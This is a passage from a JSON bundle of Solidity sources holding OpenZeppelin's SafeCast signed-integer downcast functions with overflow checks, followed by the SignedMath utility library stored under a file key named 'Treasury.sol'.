*\r\n * Requirements:\r\n *\r\n * - input must fit into 168 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\r\n downcasted = int168(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 168 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int160 from int256, reverting on\r\n * overflow (when the input is less than smallest int160 or\r\n * greater than largest int160).\r\n *\r\n * Counterpart to Solidity\u0027s `int160` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 160 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\r\n downcasted = int160(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 160 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int152 from int256, reverting on\r\n * overflow (when the input is less than smallest int152 or\r\n * greater than largest int152).\r\n *\r\n * Counterpart to Solidity\u0027s `int152` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 152 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\r\n downcasted = int152(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 152 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int144 from int256, reverting on\r\n * overflow (when the input is less than smallest int144 or\r\n * greater than largest int144).\r\n *\r\n * Counterpart to Solidity\u0027s `int144` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 144 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\r\n downcasted = int144(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 144 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int136 from int256, reverting on\r\n * overflow (when the input is less than smallest int136 or\r\n * greater than largest int136).\r\n *\r\n * Counterpart to Solidity\u0027s `int136` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 136 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\r\n downcasted = int136(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 136 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int128 from int256, reverting on\r\n * overflow (when the input is less than smallest int128 or\r\n * greater than largest int128).\r\n *\r\n * Counterpart to Solidity\u0027s `int128` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 128 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\r\n downcasted = int128(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 128 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int120 from int256, reverting on\r\n * overflow (when the input is less than smallest int120 or\r\n * greater than largest int120).\r\n *\r\n * Counterpart to Solidity\u0027s `int120` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 120 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\r\n downcasted = int120(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 120 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int112 from int256, reverting on\r\n * overflow (when the input is less than smallest int112 or\r\n * greater than largest int112).\r\n *\r\n * Counterpart to Solidity\u0027s `int112` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 112 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\r\n downcasted = int112(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 112 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int104 from int256, reverting on\r\n * overflow (when the input is less than smallest int104 or\r\n * greater than largest int104).\r\n *\r\n * Counterpart to Solidity\u0027s `int104` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 104 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\r\n downcasted = int104(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 104 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int96 from int256, reverting on\r\n * overflow (when the input is less than smallest int96 or\r\n * greater than largest int96).\r\n *\r\n * Counterpart to Solidity\u0027s `int96` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 96 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\r\n downcasted = int96(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 96 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int88 from int256, reverting on\r\n * overflow (when the input is less than smallest int88 or\r\n * greater than largest int88).\r\n *\r\n * Counterpart to Solidity\u0027s `int88` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 88 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\r\n downcasted = int88(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 88 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int80 from int256, reverting on\r\n * overflow (when the input is less than smallest int80 or\r\n * greater than largest int80).\r\n *\r\n * Counterpart to Solidity\u0027s `int80` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 80 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\r\n downcasted = int80(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 80 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int72 from int256, reverting on\r\n * overflow (when the input is less than smallest int72 or\r\n * greater than largest int72).\r\n *\r\n * Counterpart to Solidity\u0027s `int72` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 72 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\r\n downcasted = int72(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 72 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int64 from int256, reverting on\r\n * overflow (when the input is less than smallest int64 or\r\n * greater than largest int64).\r\n *\r\n * Counterpart to Solidity\u0027s `int64` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 64 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\r\n downcasted = int64(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 64 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int56 from int256, reverting on\r\n * overflow (when the input is less than smallest int56 or\r\n * greater than largest int56).\r\n *\r\n * Counterpart to Solidity\u0027s `int56` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 56 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\r\n downcasted = int56(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 56 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int48 from int256, reverting on\r\n * overflow (when the input is less than smallest int48 or\r\n * greater than largest int48).\r\n *\r\n * Counterpart to Solidity\u0027s `int48` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 48 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\r\n downcasted = int48(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 48 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int40 from int256, reverting on\r\n * overflow (when the input is less than smallest int40 or\r\n * greater than largest int40).\r\n *\r\n * Counterpart to Solidity\u0027s `int40` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 40 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\r\n downcasted = int40(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 40 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int32 from int256, reverting on\r\n * overflow (when the input is less than smallest int32 or\r\n * greater than largest int32).\r\n *\r\n * Counterpart to Solidity\u0027s `int32` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 32 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\r\n downcasted = int32(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 32 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int24 from int256, reverting on\r\n * overflow (when the input is less than smallest int24 or\r\n * greater than largest int24).\r\n *\r\n * Counterpart to Solidity\u0027s `int24` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 24 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\r\n downcasted = int24(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 24 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int16 from int256, reverting on\r\n * overflow (when the input is less than smallest int16 or\r\n * greater than largest int16).\r\n *\r\n * Counterpart to Solidity\u0027s `int16` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 16 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\r\n downcasted = int16(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 16 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int8 from int256, reverting on\r\n * overflow (when the input is less than smallest int8 or\r\n * greater than largest int8).\r\n *\r\n * Counterpart to Solidity\u0027s `int8` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 8 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\r\n downcasted = int8(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 8 bits\");\r\n }\r\n\r\n /**\r\n * @dev Converts an unsigned uint256 into a signed int256.\r\n *\r\n * Requirements:\r\n *\r\n * - input must be less than or equal to maxInt256.\r\n *\r\n * _Available since v3.0._\r\n */\r\n function toInt256(uint256 value) internal pure returns (int256) {\r\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\r\n require(\r\n value \u003c= uint256(type(int256).max),\r\n \"SafeCast: value doesn\u0027t fit in an int256\"\r\n );\r\n return int256(value);\r\n }\r\n}"},"Treasury.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Standard signed math utilities missing in the Solidity language.\r\n */\r\nlibrary SignedMath {\r\n /**\r\n * @dev Returns the largest of two signed numbers.\r\n */\r\n function max(int256 a, int256 b) internal pure returns (int256) {\r\n return a \u003e b ? a : b;\r\n }\r\n\r\n /**\r\n * @dev Returns the smallest of two signed numbers.\r\n */\r\n function min(int256 a, int256 b) internal pure returns (int256) {\r\n return a \u003c b ? a : b;\r\n }\r\n\r\n /**\r\n * @dev Returns the average of two signed numbers without overflow.\r\n * The result is rounded towards zero.\r\n */\r\n function average(int256 a, int256 b) internal pure returns (int256) {\r\n // Formula from the book \"Hacker\u0027s Delight\"\r\n int256 x = (a \u0026 b) + ((a ^ b) \u003e\u003e 1);\r\n return x + (int256(uint256(x) \u003e\u003e 255) \u0026 (a ^ b));\r\n }\r\n\r\n /**\r\n * @dev Returns the absolute unsigned value of a signed value.\r\n */\r\n function abs(int256 n) internal pure returns (uint256) {\r\n unchecked {\r\n // must be unchecked in order to support `n = type(int256).min`\r\n return uint256(n \u003e= 0 ? n : -n);\r\n }\r\n }\r\n}"}}